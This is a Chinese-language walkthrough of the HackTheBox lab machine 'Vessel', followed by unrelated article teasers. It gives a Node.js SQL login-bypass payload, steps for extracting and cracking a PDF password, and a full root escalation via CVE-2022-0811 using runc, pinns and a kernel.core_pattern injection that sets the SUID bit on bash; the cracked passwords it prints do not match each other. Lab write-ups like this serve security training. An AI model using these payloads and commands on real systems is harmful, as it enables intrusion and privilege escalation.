Vessel - Linux hackthebox

#hard #runc #RE #Nodejs-SQLI

Enumeration

.git leak

使用 dumpall 下载 .git

打开 routes/index.js 可以看到网站使用 nodejs + mysql 编写,且只有登录功能

router.post('/api/login', function(req, res) {let username = req.body.username;let password = req.body.password;if (username && password) {connection.query('SELECT * FROM accounts WHERE username = ? AND password = ?', [username, password], function(error, results, fields) {if (error) throw error;if (results.length > 0) {req.session.loggedin = true;req.session.username = username;req.flash('success', 'Succesfully logged in!');res.redirect('/admin');} else {req.flash('error', 'Wrong credentials! Try Again!');res.redirect('/login');}			res.end();});} else {res.redirect('/login');}
});

Bypass login

在这里找到了绕过的方法

Payload
username=admin&password[password]=1

得到一个子域名 http://openwebanalytics.vessel.htb/

Generate Access

nc 开启监听,运行脚本

得到 shell

来到 /home/steven 目录

www-data@vessel:/home/steven$ ls -al
ls -al
total 33796
drwxrwxr-x 3 steven steven     4096 Aug 11 14:43 .
drwxr-xr-x 4 root   root       4096 Aug 11 14:43 ..
lrwxrwxrwx 1 root   root          9 Apr 18  2022 .bash_history -> /dev/null
-rw------- 1 steven steven      220 Apr 17  2022 .bash_logout
-rw------- 1 steven steven     3771 Apr 17  2022 .bashrc
drwxr-xr-x 2 ethan  steven     4096 Aug 11 14:43 .notes
-rw------- 1 steven steven      807 Apr 17  2022 .profile
-rw-r--r-- 1 ethan  steven 34578147 May  4  2022 passwordGenerator
www-data@vessel:/home/steven$ cd .notes
cd .notes
www-data@vessel:/home/steven/.notes$ ls
ls
notes.pdf  screenshot.png

将 passwordGenerator、notes.pdf、screenshot.png 传输至 kali

reverse engineering

切换到 Windows VM
使用 IDA 打开 passwordGenerator,通过字符串窗口可以看到 Py 等字样
使用 pyinstxtractor 来反编译,之后将 pyc 转化为 py

python3 pyinstxtractor.py passwordGenerator>uncompyle6 passwordGenerator_extracted/passwordGenerator.pyc  > passwordGenerator.py

编写脚本生成密码,用于爆破 pdf

> pdf2john notes.pdf > pdf.hash> john -w=pass.txt pdf.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 3 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
YG7Q7RDzA+q&ke~MJ8!yRzoI^VQxSqSS (notes.pdf)

得到密码 b@mPRNSVTjjLKId1T

Privilege Escalation

https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/

ROOT

1、创建 /tmp/priv 目录,切到换到此目录,运行以下命令

runc spec --rootless
mkdir rootfs
vi config.json

2、在 config.json 中的 mounts 添加

{"type": "bind","source": "/","destination": "/","options": ["rbind","rw","rprivate"]
},

3、在 /tmp/priv 目录中运行容器

runc --root /tmp/priv run alpine

4、 在另一个 ssh 会话中创建一个 sh 脚本,用于得到 root 权限

echo -e '#!/bin/sh\nchmod +s /usr/bin/bash' > /tmp/priv/priv.sh && chmod +x /tmp/priv/priv.sh

5、使用 pinns 更改 的值,使其发生 core dump 时触发 priv.sh

pinns -d /var/run -f 844aa3c8-2c60-4245-a7df-9e26768ff303 -s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/priv/priv.sh #' --ipc --net --uts --cgroup

6、在容器里输入下面的命令

ulimit -c unlimited
tail -f /dev/null &
ps

7、在另一个 ssh 会话中结束 tail
kill -SIGSEGV 上面 ps 返回结果中的 tail 的 pid
8、现在查看 /usr/bin/bash,可以看到已经有 s 权限位置
bash -p
得到 root

notes:

runc spec --rootless
mkdir rootfs
vi config.json{"type": "bind","source": "/","destination": "/","options": ["rbind","rw","rprivate"]
},runc --root /tmp/priv run alpineecho -e '#!/bin/sh\nchmod +s /usr/bin/bash' > /tmp/priv/priv.sh && chmod +x /tmp/priv/priv.shpinns -d /var/run -f 844aa3c8-2c60-4245-a7df-9e26768ff303 -s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/priv/priv.sh #' --ipc --net --uts --cgroupulimit -c unlimited
ulimit -c
tail -f /dev/null &
pskill -SIGSEGV 28942
ps

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/732956.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ROS2中launch编写及参数含义(xml、python)

ROS2系列文章目录 ROS2中nav_msgs/msg/Path 数据含义及使用 ROS2中std_msgs/msg/Header 数据含义及使用 ROS中TF变换详解 文章目录 ROS2系列文章目录ROS2中launch编写及参数含义(xml、python)一、ROS官方介绍二、实现案例1.编写主函数、CMakeLists.tx…

基于springboot实现图书推荐系统项目【项目源码+论文说明】计算机毕业设计

基于springboot实现图书馆推荐系统演示 摘要 时代的变化速度实在超出人类的所料,21世纪,计算机已经发展到各行各业,各个地区,它的载体媒介-计算机,大众称之为的电脑,是一种特高速的科学仪器,比…

实时智能应答3D数字人搭建

语音驱动口型的算法 先看效果: 你很快就可以帮得上我了 FACEGOOD 决定将语音驱动口型的算法技术正式开源,这是 AI 虚拟数字人的核心算法,技术开源后将大程度降低 AI 数字人的开发门槛。FACEGOOD是一家国际领先的3D基础软件开发商,…

VS2017 boost环境配置与报错解决

1、下载Boost 2、boost编译 将下载好的压缩包文件解压,我这里放到了D:\Qt文件夹内 按win键找到 vs2017(主要看你的vs是什么版本)的x86_x64兼容工具命令提示符 输入以下命令: 首先进入到解压的boost文件夹,复制一下前面解压的路径 cd D:\Qt\boost_1_78_0然后输入命令,…

Jmeter(二) - 从入门到精通 - 创建测试计划(Test Plan)(详解教程)

1.简介 上一篇中已经教你把JMeter的测试环境搭建起来了,那么这一篇我们就将JMeter启动起来,一睹其芳容,首先给大家介绍一下如何来创建一个测试计划(Test Plan)。 2.创建一个测试计划(Test Plan&#xff09…

Java设计模式深度解析:掌握工厂模式,优化对象创建与管理

工厂模式是一种创建型设计模式,它提供了一种在不指定具体类的情况下创建对象的方法。在Java中,工厂模式可以通过接口和实现类来实现。比如我们建一个外形工厂,工厂提供对外的获取外形方法,传入不同的参数即可获取不同的外形。如图…

git命令行提交——github

1. 克隆仓库至本地 git clone 右键paste(github仓库地址) cd 仓库路径(进入到仓库内部准备提交文件等操作) 2. 查看main分支 git branch(列出本地仓库中的所有分支) 3. 创建新分支(可省…

Linux 之五:权限管理(文件权限和用户管理)

1. 文件权限 在Linux系统中,文件权限是一个非常基础且重要的安全机制。它决定了用户和用户组对文件或目录的访问控制级别。 每个文件或目录都有一个包含9个字符的权限模式,这些字符分为三组,每组三个字符,分别对应文件所有者的权限…

GIS之深度学习08:安装GPU环境下的pytorch

环境: cuda:12.1.1 cudnn:12.x pytorch:2.2.0 torchvision:0.17.0 Python:3.8 操作系统:win (本文安装一半才发现pytorch与cuda未对应,重新安装了cuda后才开始的&a…

RT-thread学习持续更新中(1)

标准版RTT移植 先不要选择nano版本,选标准版的 include包含头文件 applications 应用层的程序编写放里面 drivers驱动 libraries库 rtthread的内核 LOG_D打印信息 通过修改board.c的SystemClock_Config()更改系统时钟 由于在创建工程向导…

Docker的安装及MySQL的部署(CentOS版)

目录 1 前言 2 Docker安装步骤 2.1 卸载可能存在的旧版Docker 2.2 配置Docker的yum库 2.2.1 安装yum工具 2.2.2 配置Docker的yum源 2.3 安装Docker 2.4 启动和校验 2.5 配置镜像加速(使用阿里云) 2.5.1 进入控制台 2.5.2 进入容器镜像服务 2.5.3 获取指令并粘贴到…

推理判断-聂佳-判读4-定义判断

知识点讲解 考点1 快速识别有效信息 考点2 同构选项排除 题目 考点1 快速识别有效信息 考点2 同构选项排除 总结

免费下载Corel Video Studio 2024-轻松创建令人惊叹的视频!

免费下载Corel Video Studio 2024-轻松创建令人惊叹的视频! Corel Video Studio 2024免费下载Keygen 你厌倦了在视频编辑软件上花大钱吗?别再看了!我们为您提供了完美的解决方案——Corel Video Studio 2024。最棒的部分是什么?…

准备系统运行的先决条件

知识点: 大数据基础环境准备 重 点: SSH免密码连接 安装配置JDK 安装配置Scala 项目开发测试环境为分布式集群环境,在当前项目中使用多台基于CentOS 64bit 的虚拟机来模拟生产环境。在生产环境中建议使用高性能物理主机或云主机搭建集…

添加路障-蓝桥杯-DFS

自己另辟蹊径想的新思路 果然好像还是不太行呀 import java.util.Scanner;public class Main {static int T;//样例组数static int n;//矩阵大小static int[] X {0,1,0,-1};static int[] Y {1,0,-1,0};static int[] X1 {1,0,-1,0};static int[] Y1 {0,-1,0,1};static int …

CSRF攻击解析:原理、防御与应对策略

🤍 前端开发工程师、技术日更博主、已过CET6 🍨 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 🕠 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 🍚 蓝桥云课签约作者、上架课程《Vue.js 和 E…

激光在SIC晶圆制造中的应用

碳化硅是一种性能优异的第三代半导体材料,具有光学性能良好、化学惰性大、物理特性优良的特点,包括带隙宽、击穿电压高、热导率高和耐高温性能强等优点,常作为新一代高频、高功率器件的衬底材料,广泛应用在高端制造业领域&#xf…

UE4.27_ParticleSystem(没写完的材料)

UE4.27_ParticleSystem(没写完的材料) 参考实例: UE4[蓝图]下雪效果及雪的材质的实现

基于springboot+vue实现物资仓储物流管理系统项目【项目源码+论文说明】计算机毕业设计

基于springbootvue实现物资仓储物流管理系统演示 摘要 随着我国经济及产业化结构的持续升级,越来越多的企业借助信息化及互联网平台实现了技术的创新以及竞争力的提升,在电子经济的影响下仓储物流业务也获得了更多的关注度,利用系统平台实现…

《2024国家自然科学基金青年基金》 相关申请注意事项解读

一 年龄计算 2004 对应 89 2005 对应 90 2006 对应 91 2007 对应 92 2008 对应 93 2009 对应 94 2010 对应 95 .。。 二 资助比例(2023) 2024年 23.13% 2023年 24% 三 2024年政策变动,只能申请3年的30万,不能像23年一样选择10-20的…